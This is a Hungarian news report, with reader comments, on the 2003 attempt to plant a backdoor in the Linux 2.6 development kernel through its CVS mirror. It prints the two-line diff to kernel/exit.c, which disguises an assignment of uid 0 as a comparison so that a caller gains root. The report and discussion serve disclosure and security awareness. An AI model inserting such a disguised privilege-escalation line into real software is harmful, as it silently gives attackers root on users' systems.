Backdoor-t próbáltak csempészni a fejlesztői Linux kernelbe

Kernel

Larry McVoy - a BitMover alapítója, a Bitkeeper atyja - tegnap egy az LKML-re küldött levelében felhívta a fejlesztők figyelmét arra, hogy valaki backdoor kódot próbált becsempészni a fejlesztői kernelfába.

``Valaki közvetlenül módosította a CVS fát a kernel.bkbits.net-en. Dave megnézte a gépet és úgy látszik, hogy valaki megpróbált betörni, és meg is csinálta.''A módosított file a 'kernel/exit.c' file. A támadó közvetlenül a 2.6.0-test fejlesztői kernel CVS mirror szerverén nyúlt bele a fileba. A CVS logba - nyilván hibásan - David S. Miller (davem - a Red Hat kernelfejlesztője) neve került, mint módosító.


    revision 1.121

    date: 2003/11/04 16:44:19; author: davem; state: Exp; lines: +58 -0

    Oops, I worked on the the wrong file, fixed again.

    ----------------------------

    revision 1.120

    date: 2003/11/04 16:42:00; author: davem; state: Exp; lines: +0 -58

    *** empty log message ***

    ----------------------------

    revision 1.119

    date: 2003/11/04 16:22:47; author: davem; state: Exp; lines: +2 -0

    *** empty log message ***

    ----------------------------

    revision 1.118

    date: 2003/10/27 19:50:03; author: torvalds; state: Exp; lines: +11 -5

    Fix ZOMBIE race with self-reaping threads.

    exit_notify() used to leave a window open when a thread

    died that made the thread visible as a ZOMBIE even though

    the thread reaped itself. This closes that window by marking

    the thread DEAD within the tasklist_lock.

    (Logical change 1.14141)

    ----------------------------


Közelebbről megvizsgálva a beillesztett két sornyi kódot, a fejlesztőknek egyértelművé vált, hogy valaki backdoor-t szeretett volna tenni a kernelforrásba. A kód úgy volt megírva, hogy a támadó ``root'' jogot kapott volna a szerveren, ha a támadás sikeres.

A CVS fa jelenleg már a normális kódot tartalmazza, így aki CVS-t használ a fejlesztéshez, az megteheti, hogy eltávolítja a kérdéses filet és frissít.

A beillesztett kód a következő:

--- GOOD 2003-11-05 13:46:44.000000000 -0800

+++ BAD 2003-11-05 13:46:53.000000000 -0800

@@ -1111,6 +1111,8 @@

schedule();

goto repeat;

}


+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

+ retval = -EINVAL;

retval = -ECHILD;

end_wait4:

current->state =TASK_RUNNING;

Sokan támadták (köztük RMS is) annak idején a Bitkeeper-t, mondván, hogy kereskedelmi termékkel fejlesztenek egy nyílt forrású, szabad operációs rendszert. Linus ismert CVS ellenességéről. Ennek ellenére március közepe óta a 2.4 és 2.5 kernelforrások CVS-ben elérhetőek (korai Bitkeeper - CVS gateway már korábban is volt). Jelenleg úgy tűnik, hogy a CVS szervert támadták, a Bitkeeper-t nem. Linus szerint a Bitkeepert biztonságosabb, így ha valahol módosítás történt, akkor az a CVS volt.

A Bitkeeper pártolók hangja most biztos felerősödik. A thread itt.

( uid_228 | 2003. 11. 06., cs – 08:51 )

Valaki okosabb, a kernelforrásban otthonosabban mozgó leírná, hogy a fönti két sor konkrétan mit csinál? Pusztán kíváncsi vagyok. :)

( szaszg | 2003. 11. 06., cs – 09:33 )

Már szó ne érje a ház elejét, de ha egy gépen valaki root jogokat szerez, akkor teljesen mindegy, hogy CVS-t, Subversion-t, vagy akár Bitkeeper-t futtat az adott gép, az illető valószínűleg könnyedén tud hasonló dolgokat committelni a megfelelő helyre...

Persze más a helyzet, ha mondjuk egy CVS bug-on keresztül történt a kódrészlet behelyezése, de mintha nem ez történt volna...

Zsiráf

Apropó, mintha a GNU-s betörés körül jóval nagyobb hajcihőt rendeztünk volna (kilóméteres thread-ek, hogy ilyen meg olyan sz*r az egész FSF, meg ki bízhat meg bennük ezekután, meg stb, stb..), most meg csak pár levélke, s azok se azzal foglalkoznak, hogy ki HOGYAN TUDOTT betörni, mi is történt valójában, és hogy lehet a későbbi BETÖRÉST elkerülni, meg hogy megbízhatunk-e egyáltalán a továbbiakban Linus kernelében...??? stb. stb???

Azért azt látni kell, hogy Stallmannék egész más szemléletet képviselnek. Őket nem a "biztonság", vagy egyéb ma divatos témák érdeklik, hanem "valódi hackerek", abból a fajtából, akit az alkotás, a kihívás, stb. éltet, és nem féltik egymástól a rendszerüket, és náluk ha vki. neve beszennyeződik, sokkal nagyobb "lenézésnek" van kitéve, mint az egyébként szokásos...

En megertem az o szemleletuket is. De amikor mar sokmillioan hasznaljak egy programjaikat, fontos rendszereken is, akkor mar tul kellene lepni rajta. A usert nem az erdekli, hogy mennyire nagy hacker RMS, hanem az, hogy mennyire biztonsagos a rendszere.

Andras

Senki.. Csak folytattam borso gondolatát...

Amúgy:


List: linux-kernel

Subject: BK2CVS problem

From: Larry McVoy

Date: 2003-11-05 20:45:22

[Download message RAW]

Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked

at the machine and it looked like someone may have been trying to break in and

do it.

We've fixed the file in question, the conversion is done back here at BitMover

and after we transfer the files we check them and make sure they are OK and

this file got flagged.

( vili | 2003. 11. 06., cs – 16:21 )

It's not a big deal, we catch stuff like this, but it's annoying to the CVS users.

rofl

( Hunger | 2003. 11. 07., p – 09:11 )

Bezzeg amikor ez történt az OpenSSH-val akkor aztán ment az anyázás... :-)

Kicsit mas volt ott a keplet, ha visszaemlekszel. Ott az OpenSSH ftp szerveren kicsereltek a stuffot, es egy felhasznalo vette eszre, hogy a checksum nem stimmel. Utana kezdtek el nezegetni, hogy mi is lehet, es akkor mar tobb gepen elesben is futott a kod.

Itt kicsit mas a helyezet. Itt egy CVS gepen tortent valtoztatas, a linux kernel fejlesztese pedig a Bitkeeperben zajlik. A kernel.org-ra kikerulo snapshotok a Bitkeeper alapjan keszulnek, igy egyetlen lehetoseg volt arra, hogy a korrupt sorok bekerulhessenek a mainline kernelbe az volt, hogy valaki a CVS szerverrol importalt volna kodot. Meg ha meg is tortent volna, akkor is mondhattak volna, hogy ez csak egy fejlesztoi kernel, barmi elofordulhat vele, ha biztonsagos kell, hasznald a stabil kernelszeriat.

Egyebkent a 2.6 ilyen szempontbol meg serulkeny, szamos race condition hiba var meg javitasra, stb. Nem igazn ajanlott meg biztonsagi szempontbol a hasznalata. En is csak olyan gepeken hasznalom, amin egyeduli lokalis felhasznalo vagyok.

Visszakanyarodva: a kulonbseg, hogy az OpenSSH eseten egy stabil kodba nyultak bele, es azt mar terjesztettek is. Itt nem terjesztettek, nem kerult bele a mainline kernelforrasba, ha bekerult volna, akkor sem a stabil kernelforrasba kerult volna. Ettol meg ugye a riziko fennall, de ez minden projektre igaz. Projekten belul is lehetnek rosszakarok, vagy csak egyszeruen tenyleg felnyomtk a gepet.

Igen, tényleg így volt, de mi a garancia arra, hogy a stabil linux kernelben nem sikerült-e már egyszer valakinek bejuttatni egy olyan backdoor kódot amit azóta se vett észre senki?

Állítólag a ptrace/kmod bug is már fél éve ismert volt underground körökben mire nyilvánosságra került...

"No security in this crazy world"

Milyen garancia lenne? Semmilyen. Melyik operacios rendszer feltorhetetlen? Egyik sem. Melyik nyelv bombabiztos? I386 platformon lehet egyaltalan biztonsagosan programozni?

Ezek olyan orok kerdesek, amik allando flame forrasok a security temakorban.

Semmilyen garancia nincs sem closed source, sem open source vilagban arra, hogy nincs arto kod a rendszerben. Annyiban jobb az open source, hogy itt lehetoseged van kiszurni az ilyen kodot neked mint vegfelhasznalonak is. Es itt ebben az esetben orulni kell mert maguk a fejlesztok talaltak meg a backdoort. Tehat az audit rendszeruk jol mukodik. Jobban mint az OpenSSH eseteben, amikoris a vegfelhasznalo jelentette a hibat.

Ja es nem szurhetjuk ki az emberi hibat is. Ebben az esetben siman lehetett volna akar eliras is. Egy typot nem nehez csinalni, barki aki programozottmar udja, hogy typok mindig leteznek. Egy egyenlosegjelet = vagy == irni konnyen lehet veletlenul is. Ebben az esetben a zarojelezes volt ami egyetelmuen az arto szandekot mutatta (a gcc warning elrejtese).

A Linux kernelnél észrevették a bakit szinte azonnal, javították és minden megy tovább változatlanul.

FSF-éknél jóval később vették észre a betörést, és az észretévele után immár több mint 3 hónappal sem voltak képesek helyreállítani a rendet, nézz körül az ftp-n, tele van back-rsn fájlokkal, vagy nézd meg mondjuk a /gnu/FILES.last7days nevű fájlt, főleg az időcímkéjét...

Szóval a Linux kernel fejlesztőinek a keze jár, az FSF csapatnak inkább a szája. Nem hátrány, ha valaki jól kommunikál, de ha mögötte a munka nem az igazi...?

Hát ez könnyen lehet hogy így van.

A CVS egy őskövület, amikor azt csinálták, akkor a security nem nagyon volt még szempont. És ahogy a nagyokosok (security-guruk) mondják, egy programba nem lehet utólag berakni a securityt, azt a legelső pillanattól kezdve bele kell tervezni.

Szóval nekem sehol nem jutna eszembe CVS-t használni, ahol igazán számít a security.